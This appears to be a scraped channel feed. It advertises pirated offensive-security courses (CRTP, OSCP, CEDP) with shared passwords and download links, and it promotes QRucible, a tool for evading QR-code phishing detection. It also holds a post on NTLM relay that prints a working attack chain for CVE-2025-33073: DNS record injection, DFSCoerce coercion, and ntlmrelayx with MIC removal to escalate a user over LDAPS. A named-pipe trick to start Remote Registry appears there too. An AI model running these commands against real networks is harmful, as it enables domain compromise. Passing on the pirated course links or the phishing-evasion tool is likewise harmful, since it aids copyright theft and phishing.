All Security Engineering Courses

Altered Security - Certified Red Team Professional (CRTP) Complete course🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Backup all channels link 👨‍💻 Proof of work Link 🔮 Any-Issues: Chat Here 🖥 Download Here1 Here2

Offensive Security Certified Professional (OSCP) Complete course 🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Backup all channels link 👨‍💻 Proof of work Link 🔮 Any-Issues: Chat Here 🖥 Download Here1 Here2

QRucible A tiny Python utility that generates "imageless" QR codes in various formats and obfuscates keywords in emails by illustrating them using tables. This is useful for evading keyword-based and AI-assisted QR code phishing-specific detections. Blog: https://flangvik.com/posts/2024-06-13-pixelless-qr-codes-with-qrucible/

🔰 Docker Tutorial For Beginners - How To Containerize Python Applications

In this Docker Tutorial I show how to get started with Docker for your Python Scripts and Python Web Apps. We look at two different...

Hello everyone! We have more news about NTLM Relay! We've told the world so many times... Never mind :) So, let's start with the sources: 1. In Win11, the Printerbug-vulnerable service now runs over TCP rather than named pipes (ncacn_np), so a POC has been created that connects to the service over ncacn_ip_tcp: https://github.com/decoder-it/printerbugnew/tree/main 2. A service vulnerable to PetitPotam may not work by default, but we can try to enable it, for example, using the efsr_spray.py module (https://github.com/Pennyw0rth/NetExec/pull/718). A similar trick, but this time interacting with the required named pipe to enable Remote Registry, can be used like this: echo start > \\.\pipe\winreg . All of these enablement methods are combined under a single, larger mechanism called Service Triggers, a detailed analysis of which was published by our colleagues at TrustedSec (https://trustedsec.com/blog/theres-more-than-one-way-to-trigger-a-windows-service). Then came some wonderful news: rainbow tables for NetNTLMv1 were released (https://console.cloud.google.com/storage/browser/net-ntlmv1-tables;tab=objects?pli=1&prefix=&forceOnObjectsSortingFiltering=false). Even if it's in 2025 :) But the most curious trick I saw today on Twitter was this one. A bug called the Kerberos Reflection Attack was released this year. In short, the system receives a TGS ticket for one device, passes it on to the attacker, and they, in turn, use it without any problems. We can exploit this CVE-2025-33073 with NTLM, for example, to bypass a signature! It's done like this: # We attack a computer named DC dnstool.py -u 'lowpriv\lab1.lab' -p 123 <dns ip> -a add -r DC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <kali IP> dfscoerce.py -u lowpriv -p 123 -d lab1.lab DC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <dc ip> ntlmrelayx.py --remove-mic -smb2support -t ldaps://<dc ip> --escalate-user test --no-validate-privs

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#Exclusive 🔥 #First_Time_Ever 🔥 CyberWarFare Labs - Certified Exploit Development Professional [CEDP] 2025.6 🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Backup all channels Link 🔮 Any-Issues: Chat Here 🖥 Download Here1 Here2